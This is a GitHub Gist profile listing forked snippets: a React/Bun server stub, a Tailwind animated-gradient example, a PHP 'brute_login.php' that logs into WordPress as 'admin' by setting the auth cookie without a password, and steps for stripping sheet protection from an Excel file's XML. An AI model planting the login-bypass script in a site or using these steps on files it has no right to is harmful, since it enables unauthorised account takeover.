Skip to content

Instantly share code, notes, and snippets.

View alexlevy0's full-sized avatar
🎯
顺其自然

Alex Lévy alexlevy0

🎯
顺其自然
View GitHub Profile
@alexlevy0
alexlevy0 / index.tsx
Created April 29, 2024 20:06 — forked from abelcha/index.tsx
bun run --watch --install auto index.tsx
import 'react@^19.0.0-beta'
import 'react-dom@^19.0.0-beta'
import { renderToReadableStream } from "react-dom/server"
const css = `
@font-face {
font-family: 'CLIG';
font-style: normal;
font-weight: 800;
src: url('https://fonts.clig.dev/EditorialNew-Regular.woff2') format('woff2')
@alexlevy0
alexlevy0 / index.html
Created December 26, 2023 17:52 — forked from silverwolfdoc/index.html
tailwind Blurry gradient animated
<div class="flex items-center justify-center min-h-screen bg-gray-50">
<div class="relative w-full max-w-lg">
<div
class="absolute rounded-full animate-blob mix-blend-multiply filter blur-2xl opacity-70 -top-5 -right-2 w-72 h-72 bg-yellow-500"
/>
<div
class="absolute rounded-full animate-blob animation-delay-2000 mix-blend-multiply filter blur-2xl opacity-70 top-0 -left-2 w-72 h-72 bg-indigo-500"
/>
<div
@alexlevy0
alexlevy0 / brute_login.php
Created July 22, 2020 13:33 — forked from Markcial/brute_login.php
Hack into a wordpress with the admin profile when you have physical acces to the wordpress files.
<?php
require('wp-blog-header.php');
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
wp_safe_redirect( admin_url( 'profile.php' ) );
?>
@alexlevy0
alexlevy0 / Alternative_Excel_Unlock
Created April 16, 2020 12:48 — forked from vaderj/Alternative_Excel_Unlock
#VBA Two methods of unlocking a locked excel sheet:VBA macro for Excel that should unprotect a password protected sheet,Opening the spreadsheet as XML and removing the specific piece
Step 1. Make a copy of the spreadsheet in an empty directory. Rename the extension to .zip
Step 2. Extract the zip file.
Step 3. In the extracted contents, goto the folder \xl\worksheets\
Step 4. There should be one xml file per sheet? I editing "sheet1.xml" with NotePad++. From nearly the very end of the file, remove the tag that starts with:
<sheetProtection
My entire tag was as follows:
<sheetProtection algorithmName="SHA-512" hashValue="ALciNBSIqRcjDiFbCuyWoGk4iOcC/ZRKnEjwEVi1skb6G5JbHhp+QVZ9+rlPVbGILOS7lYiCvJmR4Q7IuSphXA==" saltValue="8OVKXrG0VacLOLVztUpEYw==" spinCount="100000" sheet="1" objects="1" scenarios="1" selectLockedCells="1"/>
Step 5. Save the file. Open the ZIP file in 7zip, find the same file, drag and drop, save, exit, rename the file back to (xlsx) and open